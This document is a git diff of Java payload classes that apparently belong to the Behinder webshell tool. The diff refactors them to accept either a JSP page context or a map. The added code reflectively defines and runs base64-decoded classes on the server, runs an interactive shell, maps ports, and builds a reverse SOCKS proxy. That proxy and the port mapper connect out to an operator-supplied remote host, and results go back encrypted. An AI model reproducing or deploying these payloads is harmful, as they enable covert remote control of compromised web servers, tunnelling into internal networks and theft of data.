diff --git a/src/main/java/net/rebeyond/behinder/payload/java/Plugin.java b/src/main/java/net/rebeyond/behinder/payload/java/Plugin.java
index ab1e1cc..f3de5e7 100644
--- a/src/main/java/net/rebeyond/behinder/payload/java/Plugin.java
+++ b/src/main/java/net/rebeyond/behinder/payload/java/Plugin.java
@@ -10,7 +10,6 @@
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpSession;
-import javax.servlet.jsp.PageContext;
public class Plugin {
public static String taskID;
@@ -21,21 +20,25 @@ public class Plugin {
private HttpSession Session;
public boolean equals(Object obj) {
- PageContext page = (PageContext)obj;
- this.Session = page.getSession();
- this.Response = page.getResponse();
- this.Request = page.getRequest();
- page.getResponse().setCharacterEncoding("UTF-8");
- Map result = new HashMap();
+ HashMap result = new HashMap();
+
+ try {
+ this.fillContext(obj);
+ } catch (Exception var44) {
+ result.put("msg", var44.getMessage());
+ result.put("status", "fail");
+ return true;
+ }
+
if (action.equals("submit")) {
ClassLoader classLoader = this.getClass().getClassLoader();
Class urlClass = ClassLoader.class;
- boolean var36 = false;
+ boolean var37 = false;
ServletOutputStream so = null;
- label207: {
+ label230: {
try {
- var36 = true;
+ var37 = true;
Method method = urlClass.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
byte[] payloadData = this.base64decode(payload);
@@ -45,23 +48,20 @@ public boolean equals(Object obj) {
payloadMethod.invoke(payloadObj, this.Request, this.Response, this.Session);
result.put("msg", "任务提交成功");
result.put("status", "success");
- var36 = false;
- break label207;
- } catch (Exception var43) {
- var43.printStackTrace();
- result.put("msg", var43.getMessage());
+ var37 = false;
+ break label230;
+ } catch (Exception var45) {
+ result.put("msg", var45.getMessage());
result.put("status", "fail");
- var36 = false;
+ var37 = false;
} finally {
- if (var36) {
+ if (var37) {
try {
so = this.Response.getOutputStream();
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
- page.getOut().clear();
- } catch (Exception var37) {
- var37.printStackTrace();
+ } catch (Exception var39) {
}
}
@@ -72,9 +72,7 @@ public boolean equals(Object obj) {
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
- page.getOut().clear();
- } catch (Exception var41) {
- var41.printStackTrace();
+ } catch (Exception var42) {
}
return true;
@@ -85,27 +83,25 @@ public boolean equals(Object obj) {
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
- page.getOut().clear();
- } catch (Exception var42) {
- var42.printStackTrace();
+ } catch (Exception var43) {
}
} else if (action.equals("getResult")) {
boolean var25 = false;
- ServletOutputStream so;
- label208: {
+ ServletOutputStream so = null;
+ label231: {
try {
var25 = true;
Map taskResult = (Map)this.Session.getAttribute(taskID);
Map temp = new HashMap();
- temp.put("running", (String)taskResult.get("running"));
+ temp.put("running", taskResult.get("running"));
temp.put("result", this.base64encode((String)taskResult.get("result")));
result.put("msg", this.buildJson(temp, false));
result.put("status", "success");
var25 = false;
- break label208;
- } catch (Exception var45) {
- result.put("msg", var45.getMessage());
+ break label231;
+ } catch (Exception var47) {
+ result.put("msg", var47.getMessage());
result.put("status", "fail");
var25 = false;
} finally {
@@ -115,9 +111,7 @@ public boolean equals(Object obj) {
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
- page.getOut().clear();
} catch (Exception var38) {
- var38.printStackTrace();
}
}
@@ -128,9 +122,7 @@ public boolean equals(Object obj) {
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
- page.getOut().clear();
- } catch (Exception var39) {
- var39.printStackTrace();
+ } catch (Exception var40) {
}
return true;
@@ -141,9 +133,7 @@ public boolean equals(Object obj) {
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
- page.getOut().clear();
- } catch (Exception var40) {
- var40.printStackTrace();
+ } catch (Exception var41) {
}
}
@@ -229,14 +219,29 @@ private byte[] base64decode(String base64Text) throws Exception {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Decoder = Base64.getMethod("getDecoder", (Class[])null).invoke(Base64, (Object[])null);
- result = (byte[])Decoder.getClass().getMethod("decode", String.class).invoke(Decoder, base64Text);
+ result = (byte[])((byte[])Decoder.getClass().getMethod("decode", String.class).invoke(Decoder, base64Text));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Decoder");
Decoder = Base64.newInstance();
- result = (byte[])Decoder.getClass().getMethod("decodeBuffer", String.class).invoke(Decoder, base64Text);
+ result = (byte[])((byte[])Decoder.getClass().getMethod("decodeBuffer", String.class).invoke(Decoder, base64Text));
}
return result;
}
+
+ private void fillContext(Object obj) throws Exception {
+ if (obj.getClass().getName().indexOf("PageContext") >= 0) {
+ this.Request = (ServletRequest)obj.getClass().getDeclaredMethod("getRequest").invoke(obj);
+ this.Response = (ServletResponse)obj.getClass().getDeclaredMethod("getResponse").invoke(obj);
+ this.Session = (HttpSession)obj.getClass().getDeclaredMethod("getSession").invoke(obj);
+ } else {
+ Map objMap = (Map)obj;
+ this.Session = (HttpSession)objMap.get("session");
+ this.Response = (ServletResponse)objMap.get("response");
+ this.Request = (ServletRequest)objMap.get("request");
+ }
+
+ this.Response.setCharacterEncoding("UTF-8");
+ }
}
diff --git a/src/main/java/net/rebeyond/behinder/payload/java/PortMap.java b/src/main/java/net/rebeyond/behinder/payload/java/PortMap.java
index 26bf5b6..7dacd7f 100644
--- a/src/main/java/net/rebeyond/behinder/payload/java/PortMap.java
+++ b/src/main/java/net/rebeyond/behinder/payload/java/PortMap.java
@@ -6,11 +6,12 @@
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.util.Enumeration;
+import java.util.Map;
import javax.servlet.ServletOutputStream;
-import javax.servlet.http.HttpServletRequest;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
-import javax.servlet.jsp.PageContext;
public class PortMap implements Runnable {
public static String action;
@@ -20,8 +21,8 @@ public class PortMap implements Runnable {
public static String remoteIP;
public static String remotePort;
public static String extraData;
- private HttpServletRequest Request;
- private HttpServletResponse Response;
+ private ServletRequest Request;
+ private ServletResponse Response;
private HttpSession Session;
String localKey;
String remoteKey;
@@ -29,20 +30,16 @@ public class PortMap implements Runnable {
HttpSession httpSession;
public boolean equals(Object obj) {
- PageContext page = (PageContext)obj;
- this.Session = page.getSession();
- this.Response = (HttpServletResponse)page.getResponse();
- this.Request = (HttpServletRequest)page.getRequest();
-
try {
- this.portMap(page);
- } catch (Exception var4) {
+ this.fillContext(obj);
+ this.portMap();
+ } catch (Exception var3) {
}
return true;
}
- public void portMap(PageContext page) throws Exception {
+ public void portMap() throws Exception {
String localSessionKey = "local_" + targetIP + "_" + targetPort + "_" + socketHash;
SocketChannel socketChannel = null;
if (action.equals("createLocal")) {
@@ -53,25 +50,24 @@ public void portMap(PageContext page) throws Exception {
socketChannel.connect(new InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
this.Session.setAttribute(localSessionKey, socketChannel);
- this.Response.setStatus(200);
- } catch (Exception var10) {
- Exception e = var10;
- var10.printStackTrace();
+ ((HttpServletResponse)this.Response).setStatus(200);
+ } catch (Exception var9) {
+ Exception e = var9;
ServletOutputStream so = null;
try {
- so = this.Response.getOutputStream();
+ so = ((HttpServletResponse)this.Response).getOutputStream();
so.write(new byte[]{55, 33, 73, 54});
so.write(e.getMessage().getBytes());
so.flush();
so.close();
- } catch (IOException var9) {
- var9.printStackTrace();
+ } catch (IOException var8) {
+ var8.printStackTrace();
}
}
} else {
Exception e;
- ServletOutputStream so = null;
+ ServletOutputStream so;
if (action.equals("read")) {
socketChannel = (SocketChannel)this.Session.getAttribute(localSessionKey);
if (socketChannel == null) {
@@ -82,6 +78,7 @@ public void portMap(PageContext page) throws Exception {
ByteBuffer buf = ByteBuffer.allocate(512);
socketChannel.configureBlocking(false);
int bytesRead = socketChannel.read(buf);
+
for(so = this.Response.getOutputStream(); bytesRead > 0; bytesRead = socketChannel.read(buf)) {
so.write(buf.array(), 0, bytesRead);
so.flush();
@@ -90,10 +87,9 @@ public void portMap(PageContext page) throws Exception {
so.flush();
so.close();
- } catch (Exception var12) {
- e = var12;
- var12.printStackTrace();
- this.Response.setStatus(200);
+ } catch (Exception var11) {
+ e = var11;
+ ((HttpServletResponse)this.Response).setStatus(200);
socketChannel = null;
try {
@@ -103,8 +99,8 @@ public void portMap(PageContext page) throws Exception {
so.flush();
so.close();
socketChannel.socket().close();
- } catch (IOException var8) {
- var8.printStackTrace();
+ } catch (IOException var7) {
+ var7.printStackTrace();
}
}
} else if (action.equals("write")) {
@@ -120,8 +116,8 @@ public void portMap(PageContext page) throws Exception {
while(buf.hasRemaining()) {
socketChannel.write(buf);
}
- } catch (Exception var11) {
- e = var11;
+ } catch (Exception var10) {
+ e = var10;
socketChannel = null;
try {
@@ -131,8 +127,8 @@ public void portMap(PageContext page) throws Exception {
so.flush();
so.close();
socketChannel.socket().close();
- } catch (IOException var7) {
- var7.printStackTrace();
+ } catch (IOException var6) {
+ var6.printStackTrace();
}
}
} else {
@@ -149,7 +145,7 @@ public void portMap(PageContext page) throws Exception {
}
} else if (action.equals("createRemote")) {
(new Thread(new PortMap(this.localKey, this.remoteKey, "create", this.Session))).start();
- this.Response.setStatus(200);
+ ((HttpServletResponse)this.Response).setStatus(200);
} else if (action.equals("closeRemote")) {
this.Session.setAttribute("remoteRunning", false);
attributeNames = this.Session.getAttributeNames();
@@ -177,7 +173,7 @@ public PortMap() {
}
public void run() {
- int bytesRead;
+ int bytesRead=0;
if (this.type.equals("create")) {
this.httpSession.setAttribute("remoteRunning", true);
@@ -191,7 +187,6 @@ public void run() {
remoteSocketChannel.connect(new InetSocketAddress(vps, bytesRead));
String remoteKey = "remote_remote_" + remoteSocketChannel.socket().getLocalPort() + "_" + targetIP + "_" + targetPort;
this.httpSession.setAttribute(remoteKey, remoteSocketChannel);
-
ByteBuffer buf = ByteBuffer.allocate(512);
if ((bytesRead = remoteSocketChannel.read(buf)) > 0) {
remoteSocketChannel.configureBlocking(true);
@@ -277,16 +272,31 @@ private byte[] base64decode(String text) throws Exception {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Decoder = Base64.getMethod("getDecoder", (Class[])null).invoke(Base64, (Object[])null);
- result = (byte[])Decoder.getClass().getMethod("decode", String.class).invoke(Decoder, text);
+ result = (byte[])((byte[])Decoder.getClass().getMethod("decode", String.class).invoke(Decoder, text));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Decoder");
Decoder = Base64.newInstance();
- result = (byte[])Decoder.getClass().getMethod("decodeBuffer", String.class).invoke(Decoder, text);
+ result = (byte[])((byte[])Decoder.getClass().getMethod("decodeBuffer", String.class).invoke(Decoder, text));
}
} catch (Exception var6) {
}
return result;
}
+
+ private void fillContext(Object obj) throws Exception {
+ if (obj.getClass().getName().indexOf("PageContext") >= 0) {
+ this.Request = (ServletRequest)obj.getClass().getDeclaredMethod("getRequest").invoke(obj);
+ this.Response = (ServletResponse)obj.getClass().getDeclaredMethod("getResponse").invoke(obj);
+ this.Session = (HttpSession)obj.getClass().getDeclaredMethod("getSession").invoke(obj);
+ } else {
+ Map objMap = (Map)obj;
+ this.Session = (HttpSession)objMap.get("session");
+ this.Response = (ServletResponse)objMap.get("response");
+ this.Request = (ServletRequest)objMap.get("request");
+ }
+
+ this.Response.setCharacterEncoding("UTF-8");
+ }
}
diff --git a/src/main/java/net/rebeyond/behinder/payload/java/RealCMD.java b/src/main/java/net/rebeyond/behinder/payload/java/RealCMD.java
index 9e55571..10417d5 100644
--- a/src/main/java/net/rebeyond/behinder/payload/java/RealCMD.java
+++ b/src/main/java/net/rebeyond/behinder/payload/java/RealCMD.java
@@ -18,7 +18,6 @@
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpSession;
-import javax.servlet.jsp.PageContext;
public class RealCMD implements Runnable {
public static String bashPath;
@@ -30,22 +29,56 @@ public class RealCMD implements Runnable {
private HttpSession Session;
public boolean equals(Object obj) {
- PageContext page = (PageContext)obj;
- this.Session = page.getSession();
- this.Response = page.getResponse();
- this.Request = page.getRequest();
HashMap result = new HashMap();
+ boolean var11 = false;
- try {
- result.put("msg", this.runCmd(page));
- result.put("status", "success");
- } catch (Exception var6) {
- result.put("status", "fail");
- result.put("msg", var6.getMessage());
+ ServletOutputStream so = null;
+ label101: {
+ try {
+ var11 = true;
+ this.fillContext(obj);
+ result.put("msg", this.runCmd());
+ result.put("status", "success");
+ var11 = false;
+ break label101;
+ } catch (Exception var15) {
+ result.put("status", "fail");
+ result.put("msg", var15.getMessage());
+ var11 = false;
+ } finally {
+ if (var11) {
+ try {
+ so = this.Response.getOutputStream();
+ if (result.get("msg") == null) {
+ result.put("msg", "");
+ }
+
+ so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
+ so.flush();
+ so.close();
+ } catch (Exception var12) {
+ }
+
+ }
+ }
+
+ try {
+ so = this.Response.getOutputStream();
+ if (result.get("msg") == null) {
+ result.put("msg", "");
+ }
+
+ so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
+ so.flush();
+ so.close();
+ } catch (Exception var13) {
+ }
+
+ return true;
}
try {
- ServletOutputStream so = this.Response.getOutputStream();
+ so = this.Response.getOutputStream();
if (result.get("msg") == null) {
result.put("msg", "");
}
@@ -53,9 +86,7 @@ public boolean equals(Object obj) {
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
- page.getOut().clear();
- } catch (Exception var5) {
- var5.printStackTrace();
+ } catch (Exception var14) {
}
return true;
@@ -68,8 +99,7 @@ public RealCMD(HttpSession session) {
public RealCMD() {
}
- public String runCmd(PageContext page) throws Exception {
- page.getResponse().setCharacterEncoding("UTF-8");
+ public String runCmd() throws Exception {
String result = "";
if (type.equals("create")) {
this.Session.setAttribute("working", true);
@@ -138,7 +168,6 @@ public void run() {
output.append(new String(Arrays.copyOfRange(buffer, 0, length)));
}
} catch (IOException var12) {
- var12.printStackTrace();
output.append(var12.getMessage());
}
@@ -194,12 +223,12 @@ private byte[] base64decode(String text) throws Exception {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Decoder = Base64.getMethod("getDecoder", (Class[])null).invoke(Base64, (Object[])null);
- result = (byte[])Decoder.getClass().getMethod("decode", String.class).invoke(Decoder, text);
+ result = (byte[])((byte[])Decoder.getClass().getMethod("decode", String.class).invoke(Decoder, text));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Decoder");
Decoder = Base64.newInstance();
- result = (byte[])Decoder.getClass().getMethod("decodeBuffer", String.class).invoke(Decoder, text);
+ result = (byte[])((byte[])Decoder.getClass().getMethod("decodeBuffer", String.class).invoke(Decoder, text));
}
} catch (Exception var6) {
}
@@ -216,4 +245,19 @@ private byte[] Encrypt(byte[] bs) throws Exception {
byte[] encrypted = cipher.doFinal(bs);
return encrypted;
}
+
+ private void fillContext(Object obj) throws Exception {
+ if (obj.getClass().getName().indexOf("PageContext") >= 0) {
+ this.Request = (ServletRequest)obj.getClass().getDeclaredMethod("getRequest").invoke(obj);
+ this.Response = (ServletResponse)obj.getClass().getDeclaredMethod("getResponse").invoke(obj);
+ this.Session = (HttpSession)obj.getClass().getDeclaredMethod("getSession").invoke(obj);
+ } else {
+ Map objMap = (Map)obj;
+ this.Session = (HttpSession)objMap.get("session");
+ this.Response = (ServletResponse)objMap.get("response");
+ this.Request = (ServletRequest)objMap.get("request");
+ }
+
+ this.Response.setCharacterEncoding("UTF-8");
+ }
}
diff --git a/src/main/java/net/rebeyond/behinder/payload/java/RemoteSocksProxy.java b/src/main/java/net/rebeyond/behinder/payload/java/RemoteSocksProxy.java
index 57f9e74..01c08e0 100644
--- a/src/main/java/net/rebeyond/behinder/payload/java/RemoteSocksProxy.java
+++ b/src/main/java/net/rebeyond/behinder/payload/java/RemoteSocksProxy.java
@@ -3,16 +3,23 @@
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
+import java.io.OutputStream;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
-import java.net.SocketTimeoutException;
+import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map;
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpSession;
-import net.rebeyond.behinder.utils.CipherUtils;
public class RemoteSocksProxy implements Runnable {
public static String action;
@@ -21,130 +28,314 @@ public class RemoteSocksProxy implements Runnable {
private ServletRequest Request;
private ServletResponse Response;
private HttpSession Session;
- private Socket outerSocket;
- private Socket innerSocket;
- private Socket serverInnersocket;
- private Socket targetSocket;
private int listenPort = 5555;
private String threadType;
- private int bufSize = 65535;
+ private Map paramMap;
- public RemoteSocksProxy(Socket socket, String threadType, HttpSession session) {
- this.outerSocket = socket;
- this.threadType = threadType;
- this.Session = session;
- }
-
- public RemoteSocksProxy(String threadType, HttpSession session) {
- this.threadType = threadType;
- this.Session = session;
- }
-
- public RemoteSocksProxy(Socket outerSocket, String threadType, Socket innerSocket) {
- this.outerSocket = outerSocket;
- this.innerSocket = innerSocket;
+ public RemoteSocksProxy(String threadType, Map paramMap) {
this.threadType = threadType;
+ this.paramMap = paramMap;
}
public RemoteSocksProxy() {
}
public boolean equals(Object obj) {
- return false;
- }
+ try {
+ this.fillContext(obj);
+ } catch (Exception var29) {
+ return true;
+ }
- public void run() {
- if (action.equals("create")) {
+ HashMap result = new HashMap();
+ boolean var21 = false;
+
+ ServletOutputStream so = null;
+ label167: {
try {
- ServerSocket serverSocket = new ServerSocket(this.listenPort, 50);
- this.Session.setAttribute("socks_server_" + this.listenPort, serverSocket);
- serverSocket.setReuseAddress(true);
- (new Thread(new RemoteSocksProxy("link", this.Session))).start();
-
- while(true) {
- Socket serverInnersocket = serverSocket.accept();
- this.Session.setAttribute("socks_server_inner_" + serverInnersocket.getInetAddress().getHostAddress() + "_" + serverInnersocket.getPort(), serverInnersocket);
- (new Thread(new RemoteSocksProxy(serverInnersocket, "session", this.Session))).start();
+ var21 = true;
+ Map paramMap = new HashMap();
+ paramMap.put("remoteIP", remoteIP);
+ paramMap.put("remotePort", remotePort);
+ paramMap.put("request", this.Request);
+ paramMap.put("response", this.Response);
+ paramMap.put("session", this.Session);
+ String socksServerHash = "socks_server_" + this.listenPort;
+ paramMap.put("serverSocketHash", socksServerHash);
+ if (action.equals("create")) {
+ try {
+ ServerSocket serverSocket = new ServerSocket(0, 50);
+ this.listenPort = serverSocket.getLocalPort();
+ paramMap.put("listenPort", this.listenPort);
+ System.out.println("listenPort:" + this.listenPort);
+ this.Session.setAttribute(socksServerHash, serverSocket);
+ serverSocket.setReuseAddress(true);
+ (new Thread(new RemoteSocksProxy("daemon", paramMap))).start();
+ Thread.sleep(500L);
+ (new Thread(new RemoteSocksProxy("link", paramMap))).start();
+ result.put("status", "success");
+ result.put("msg", "success");
+ var21 = false;
+ } catch (Exception var28) {
+ result.put("status", "fail");
+ result.put("msg", var28.getMessage());
+ var28.printStackTrace();
+ var21 = false;
+ }
+ } else if (!action.equals("stop")) {
+ var21 = false;
+ } else {
+ Enumeration keys = this.Session.getAttributeNames();
+
+ while(keys.hasMoreElements()) {
+ String key = keys.nextElement().toString();
+ if (key.startsWith("socks_")) {
+ Object socket = this.Session.getAttribute(key);
+ this.Session.removeAttribute(key);
+ if (socket.getClass().getName().indexOf("SocketChannel") >= 0) {
+ try {
+ ((SocketChannel)socket).close();
+ } catch (IOException var27) {
+ }
+ } else if (socket.getClass().getName().indexOf("ServerSocket") >= 0) {
+ try {
+ ((ServerSocket)socket).close();
+ } catch (IOException var26) {
+ }
+ } else {
+ try {
+ ((Socket)socket).close();
+ } catch (IOException var25) {
+ }
+ }
+ }
+ }
+
+ result.put("status", "success");
+ result.put("msg", "success");
+ var21 = false;
+ }
+ break label167;
+ } catch (Exception var30) {
+ result.put("status", "fail");
+ result.put("msg", var30.getMessage());
+ var21 = false;
+ } finally {
+ if (var21) {
+ try {
+ so = this.Response.getOutputStream();
+ so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
+ so.flush();
+ so.close();
+ } catch (Exception var22) {
+ var22.printStackTrace();
+ }
+
}
- } catch (IOException var12) {
}
- }
- if (action.equals("link")) {
try {
- SocketChannel outerSocketChannel = SocketChannel.open();
- outerSocketChannel.connect(new InetSocketAddress(remoteIP, Integer.parseInt(remotePort)));
- String outerKey = "socks_outer_" + outerSocketChannel.socket().getLocalPort() + "_" + remoteIP + "_" + remotePort;
- this.Session.setAttribute(outerKey, outerSocketChannel);
- SocketChannel innerSocketChannel = SocketChannel.open();
- innerSocketChannel.connect(new InetSocketAddress("127.0.0.1", this.listenPort));
- String innerKey = "socks_inner_" + innerSocketChannel.socket().getLocalPort();
- this.Session.setAttribute(innerKey, innerSocketChannel);
- } catch (IOException var8) {
+ so = this.Response.getOutputStream();
+ so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
+ so.flush();
+ so.close();
+ } catch (Exception var23) {
+ var23.printStackTrace();
}
- } else if (action.equals("session")) {
- try {
- if (this.handleSocks(this.serverInnersocket)) {
- Thread reader = new Thread(new RemoteSocksProxy(this.serverInnersocket, "read", this.Session));
- reader.start();
- Thread writer = new Thread(new RemoteSocksProxy(this.serverInnersocket, "write", this.Session));
- writer.start();
- reader.start();
- writer.start();
- reader.join();
- writer.join();
+
+ return true;
+ }
+
+ try {
+ so = this.Response.getOutputStream();
+ so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
+ so.flush();
+ so.close();
+ } catch (Exception var24) {
+ var24.printStackTrace();
+ }
+
+ return true;
+ }
+
+ public void run() {
+ HttpSession session;
+ Socket targetSocket;
+ if (this.threadType.equals("daemon")) {
+ session = (HttpSession)this.paramMap.get("session");
+ ServerSocket serverSocket = (ServerSocket)session.getAttribute(this.paramMap.get("serverSocketHash").toString());
+
+ while(true) {
+ try {
+ targetSocket = serverSocket.accept();
+ String serverInnersocketHash = "socks_server_inner_" + targetSocket.getInetAddress().getHostAddress() + "_" + targetSocket.getPort();
+ this.paramMap.put("serverInnersocketHash", serverInnersocketHash);
+ session.setAttribute(serverInnersocketHash, targetSocket);
+ (new Thread(new RemoteSocksProxy("session", this.paramMap))).start();
+ } catch (Exception var17) {
+ break;
}
- } catch (Exception var7) {
- var7.printStackTrace();
}
} else {
- byte[] buf;
- int length;
- if (!action.equals("read")) {
- if (action.equals("write")) {
- while(this.outerSocket != null) {
- try {
- this.outerSocket.setSoTimeout(1000);
- buf = new byte[this.bufSize];
- length = this.outerSocket.getInputStream().read(buf);
- if (length == -1) {
- break;
- }
+ SocketChannel remoteSocketChannel;
+ if (this.threadType.equals("link")) {
+ try {
+ session = (HttpSession)this.paramMap.get("session");
+ String remoteIP = this.paramMap.get("remoteIP").toString();
+ int remotePort = Integer.parseInt(this.paramMap.get("remotePort").toString());
+ int listenPort = Integer.parseInt(this.paramMap.get("listenPort").toString());
+ System.out.println("remoate port:" + remoteIP + "," + remotePort);
+ remoteSocketChannel = SocketChannel.open();
+ remoteSocketChannel.connect(new InetSocketAddress(remoteIP, remotePort));
+ String outerSocketChannelHash = "socks_outer_" + remoteSocketChannel.socket().getLocalPort() + "_" + remoteIP + "_" + remotePort;
+ session.setAttribute(outerSocketChannelHash, remoteSocketChannel);
+ this.paramMap.put("outerSocketChannelHash", outerSocketChannelHash);
+ SocketChannel innerSocketChannel = SocketChannel.open();
+ innerSocketChannel.connect(new InetSocketAddress("127.0.0.1", listenPort));
+ String innerSocketChannelHash = "socks_inner_" + innerSocketChannel.socket().getLocalPort();
+ session.setAttribute(innerSocketChannelHash, innerSocketChannel);
+ this.paramMap.put("innerSocketChannelHash", innerSocketChannelHash);
+ (new Thread(new RemoteSocksProxy("linkRead", this.paramMap))).start();
+ (new Thread(new RemoteSocksProxy("linkWrite", this.paramMap))).start();
+ } catch (IOException var12) {
+ var12.printStackTrace();
+ }
+ } else {
+ SocketChannel outerSocketChannel;
+ SocketChannel innerSocketChannel;
+ ByteBuffer buf = null;
+ int bytesRead = 0;
+ OutputStream so;
+ if (this.threadType.equals("linkRead")) {
+ session = (HttpSession)this.paramMap.get("session");
+ outerSocketChannel = (SocketChannel)session.getAttribute(this.paramMap.get("outerSocketChannelHash").toString());
+ innerSocketChannel = (SocketChannel)session.getAttribute(this.paramMap.get("innerSocketChannelHash").toString());
+ System.out.println("start linkRead.." + outerSocketChannel + innerSocketChannel);
+
+ while(true) {
+ while(true) {
+ try {
+ SocketChannel localSocketChannel = innerSocketChannel;
+ buf = ByteBuffer.allocate(512);
+ bytesRead = innerSocketChannel.read(buf);
- this.innerSocket.getOutputStream().write(buf, 0, length);
- this.innerSocket.getOutputStream().flush();
- } catch (SocketTimeoutException var9) {
- } catch (Exception var10) {
- var10.printStackTrace();
- break;
+ for(so = outerSocketChannel.socket().getOutputStream(); bytesRead > 0; bytesRead = localSocketChannel.read(buf)) {
+ so.write(buf.array(), 0, bytesRead);
+ so.flush();
+ buf.clear();
+ }
+
+ so.flush();
+ so.close();
+ } catch (IOException var13) {
+ }
}
}
+ }
- try {
- this.innerSocket.close();
- this.outerSocket.close();
- } catch (Exception var5) {
- var5.printStackTrace();
+ if (this.threadType.equals("linkWrite")) {
+ session = (HttpSession)this.paramMap.get("session");
+ outerSocketChannel = (SocketChannel)session.getAttribute(this.paramMap.get("outerSocketChannelHash").toString());
+ innerSocketChannel = (SocketChannel)session.getAttribute(this.paramMap.get("innerSocketChannelHash").toString());
+ System.out.println("start linkWrite.." + outerSocketChannel + innerSocketChannel);
+
+ while(true) {
+ while(true) {
+ try {
+ remoteSocketChannel = outerSocketChannel;
+ buf = ByteBuffer.allocate(512);
+ bytesRead = outerSocketChannel.read(buf);
+
+ for(so = innerSocketChannel.socket().getOutputStream(); bytesRead > 0; bytesRead = remoteSocketChannel.read(buf)) {
+ so.write(buf.array(), 0, bytesRead);
+ so.flush();
+ buf.clear();
+ }
+
+ so.flush();
+ so.close();
+ } catch (IOException var14) {
+ }
+ }
}
}
- } else {
- while(this.outerSocket != null) {
- try {
- buf = new byte[512];
- for(length = this.innerSocket.getInputStream().read(buf); length > 0; length = this.innerSocket.getInputStream().read(buf)) {
- this.outerSocket.getOutputStream().write(buf, 0, length);
- this.outerSocket.getOutputStream().flush();
+ Socket serverInnersocket;
+ if (this.threadType.equals("session")) {
+ session = (HttpSession)this.paramMap.get("session");
+ serverInnersocket = (Socket)session.getAttribute(this.paramMap.get("serverInnersocketHash").toString());
+ System.out.println("init session...." + serverInnersocket);
+
+ try {
+ if (this.handleSocks(serverInnersocket)) {
+ Thread writer = new Thread(new RemoteSocksProxy("sessionWrite", this.paramMap));
+ writer.start();
+ Thread reader = new Thread(new RemoteSocksProxy("sessionRead", this.paramMap));
+ reader.start();
+ (new Thread(new RemoteSocksProxy("link", this.paramMap))).start();
}
} catch (Exception var11) {
var11.printStackTrace();
}
+ } else {
+ if (this.threadType.equals("sessionRead")) {
+ session = (HttpSession)this.paramMap.get("session");
+ serverInnersocket = (Socket)session.getAttribute(this.paramMap.get("serverInnersocketHash").toString());
+ targetSocket = (Socket)session.getAttribute(this.paramMap.get("targetSocketHash").toString());
+ System.out.println("start sessionRead" + targetSocket + "," + this.paramMap.get("targetSocketHash").toString());
+ if (serverInnersocket != null) {
+ try {
+ System.out.println("to sessionRead 111");
+ byte[] bufs = new byte[512];
+ bytesRead = targetSocket.getInputStream().read(bufs);
+ System.out.println("to sessionRead " + new String(bufs));
- try {
- this.innerSocket.close();
- this.outerSocket.close();
- } catch (Exception var6) {
- var6.printStackTrace();
+ while(bytesRead > 0) {
+ serverInnersocket.getOutputStream().write(bufs, 0, bytesRead);
+ serverInnersocket.getOutputStream().flush();
+ bytesRead = targetSocket.getInputStream().read(bufs);
+ }
+ } catch (Exception var15) {
+ var15.printStackTrace();
+ }
+
+ try {
+ serverInnersocket.close();
+ targetSocket.close();
+ } catch (Exception var10) {
+ var10.printStackTrace();
+ }
+ }
+ } else if (this.threadType.equals("sessionWrite")) {
+ session = (HttpSession)this.paramMap.get("session");
+ serverInnersocket = (Socket)session.getAttribute(this.paramMap.get("serverInnersocketHash").toString());
+ targetSocket = (Socket)session.getAttribute(this.paramMap.get("targetSocketHash").toString());
+ System.out.println("start sessionWrite" + targetSocket + "," + this.paramMap.get("targetSocketHash").toString());
+ if (serverInnersocket != null) {
+ try {
+ byte[] bufs = new byte[512];
+ bytesRead = serverInnersocket.getInputStream().read(bufs);
+ System.out.println("to sessionWrite size:" + bytesRead + "raw:" + new String(bufs));
+
+ while(bytesRead > 0) {
+ System.out.println("write >0 ...." + targetSocket);
+ targetSocket.getOutputStream().write(bufs, 0, bytesRead);
+ System.out.println("write >1 ....");
+ targetSocket.getOutputStream().flush();
+ System.out.println("write >2 ....");
+ bytesRead = serverInnersocket.getInputStream().read(bufs);
+ }
+ } catch (Exception var16) {
+ var16.printStackTrace();
+ }
+
+ try {
+ serverInnersocket.close();
+ targetSocket.close();
+ } catch (Exception var9) {
+ var9.printStackTrace();
+ }
+ }
}
}
}
@@ -162,10 +353,15 @@ private boolean handleSocks(Socket socket) throws Exception {
}
private boolean parseSocks5(Socket socket) throws Exception {
+ System.out.println("i am in parseSocks5......");
DataInputStream ins = new DataInputStream(socket.getInputStream());
